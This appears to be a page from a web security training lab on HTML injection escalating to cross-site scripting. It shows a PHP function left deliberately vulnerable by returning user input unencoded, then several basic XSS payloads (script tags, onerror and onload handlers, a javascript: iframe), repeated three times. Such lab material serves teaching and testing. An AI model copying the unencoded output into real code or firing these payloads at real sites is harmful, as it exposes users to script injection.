HTML injection leading to Cross-Site Scripting
This lab demonstrates the most dangerous form of HTML injection vulnerability where HTML injection can lead to Cross-Site Scripting (XSS). This is the ultimate goal of HTML injection attacks and represents the highest risk to applications.
Objective: Achieve Cross-Site Scripting through HTML injection vulnerabilities.
// Vulnerable: Direct output leading to XSS
function process_html_input_xss($input) {
if (empty($input)) {
return "No input provided.";
}
// Vulnerable: Direct output without encoding
return $input;
}
This lab demonstrates XSS vulnerabilities. The following can execute JavaScript:
<script>alert('XSS')</script> - Basic XSS<img src="x" onerror="alert('XSS')"> - Image XSS<svg onload="alert('XSS')"> - SVG XSS<iframe src="javascript:alert('XSS')"> - Iframe XSSTry these XSS payloads:
<script>alert('XSS')</script> - Basic XSS<img src="x" onerror="alert('XSS')"> - Image XSS<svg onload="alert('XSS')"> - SVG XSS<iframe src="javascript:alert('XSS')"> - Iframe XSS<script>alert('XSS')</script> - Basic XSS<img src="x" onerror="alert('XSS')"> - Image XSS<svg onload="alert('XSS')"> - SVG XSS<iframe src="javascript:alert('XSS')"> - Iframe XSSUse these payloads to achieve Cross-Site Scripting: